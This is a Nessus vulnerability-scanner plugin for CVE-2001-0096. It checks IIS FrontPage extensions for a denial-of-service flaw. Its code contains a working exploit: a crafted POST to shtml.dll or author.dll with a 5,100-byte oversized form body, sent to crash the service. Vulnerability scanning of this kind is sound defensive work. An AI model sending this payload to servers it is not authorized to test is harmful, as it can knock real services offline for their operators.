# # This script was written by John Lampe # # See the Nessus Scripts License for details # if(description) { script_id(10585); script_bugtraq_id(2144); script_version ("$Revision: 1.8 $"); script_cve_id("CVE-2001-0096"); name["english"] = "IIS FrontPage DoS"; script_name(english:name["english"]); desc["english"] = " Microsoft IIS, running Frontpage extensions, is vulnerable to a remote DoS attack usually called the 'malformed web submission' vulnerability. An attacker, exploiting this vulnerability, will be able to render the service unusable. If this machine serves a business-critical functionality, there could be an impact to the business. Solution: See http://www.microsoft.com/technet/security/bulletin/MS00-100.mspx Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Attempts to crash the Microsoft IIS server"; script_summary(english:summary["english"]); script_category(ACT_DENIAL); script_copyright(english:"This script is Copyright (C) 2000 John Lampe"); family["english"] = "Denial of Service"; family["francais"] = "Déni de service"; script_family(english:family["english"], francais:family["francais"]); script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl"); script_require_ports("Services/www", 80); exit(0); } include("http_func.inc"); include("http_keepalive.inc"); # # The script code starts here # port = get_http_port(default:80); if ( ! get_port_state(port) ) exit(0); sig = get_kb_item("www/hmap/" + port + "/description"); if ( sig && "IIS" >!< sig ) exit(0); i=0; if(is_cgi_installed_ka(item:"/_vti_bin/shtml.dll/_vti_rpc", port:port)) { i=i+1; filename[i]="shtml.dll/_vti_rpc"; } if(is_cgi_installed_ka(item:"/_vti_bin/_vti_aut/author.dll", port:port)) { i=i+1; filename[i]="_vti_aut/author.dll"; } if(i==0)exit(0); for (j=1; j <= i; j = j+1) { if(get_port_state(port)) { mysoc = http_open_socket(port); if(mysoc) { mystring = string ("POST /_vti_bin/", filename[j] , " HTTP/1.1\r\n" , "Date: Thur, 25 Dec 2000 12:31:00 GMT\r\n" , "MIME-Version: 1.0\r\n" , "User-Agent: MSFrontPage/4.0\r\n" , "Host: %25NESSUS%25\r\n" , "Accept: auth/sicily\r\n", "Content-Length: 5058\r\n", "Content-Type: application/x-www-form-urlencoded\r\n", "X-Vermeer-Content-Type: application/x-www-form-urlencoded\r\n", "Connection: Keep-Alive\r\n\r\n"); send(socket:mysoc, data:mystring); incoming = http_recv(socket:mysoc); find_ms = egrep(pattern:"^Server.*IIS.*", string:incoming); if(find_ms) { mystring2 = string("\r\n\r\n" , "method=open+", crap (length:5100 , data:"A"), "\r\n\r\n" ); send(socket:mysoc, data:mystring2); close(mysoc); } else { close(mysoc); exit(0); } mysoc = http_open_socket(port); mystring = http_get(item:"/", port:port); send(socket:mysoc, data:mystring); http_close_socket(mysoc); mysoc = http_open_socket(port); send(socket:mysoc, data:mystring); incoming = recv_line(socket:mysoc, length:1024); http_close_socket(mysoc); find_200 = egrep(pattern:".*200 *OK*", string:incoming); if (!find_200) { security_hole(port); exit(0); } } } }